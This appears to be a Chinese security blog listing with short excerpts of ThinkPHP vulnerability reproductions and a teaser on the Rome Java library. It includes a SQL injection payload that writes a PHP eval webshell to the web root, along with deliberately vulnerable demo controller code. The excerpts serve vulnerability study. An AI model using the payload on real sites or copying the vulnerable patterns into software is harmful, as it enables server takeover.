漏洞详情

comment函数是用来进行查询注释功能,当执行sql语句时,搭配comment可能存在利用注释进行 写shell或者 时间盲注

漏洞复现

控制器写入demo

$user = M('Users')->comment($id)->find(intval($id));

payload

?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

阅读全文 »

漏洞概述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

阅读全文 »

漏洞概述

该漏洞是在受影响的版本中,业务代码中如果 模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

环境搭建

\Application\Home\Controller\IndexController.class.php

写入demo代码

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
阅读全文 »

背景

网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能。

利用版本 5.0.0<=ThinkPHP5<=5.0.10

漏洞利用前提

站点能够将缓存文件列出,并且用户可以得到路径

1、缓存使用文件方式并且缓存目录暴露在web目录下面
2、攻击者要能猜到开发者使用的缓存key

知道缓存类所设置的键名,这样才能找到 webshell 路径;其次如果按照官方说明开发程序, webshell 最终会被写到 runtime 目录下,而官方推荐 public 作为 web 根目录,所以即便我们写入了 shell ,也无法直接访问到;最后如果程序有设置 $this->options[‘prefix’] 的话,在没有源码的情况下,我们还是无法获得 webshell 的准确路径。

阅读全文 »

Rome

Rome 就是为 RSS聚合开发的框架, 可以提供RSS阅读和发布器。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作

阅读全文 »
0%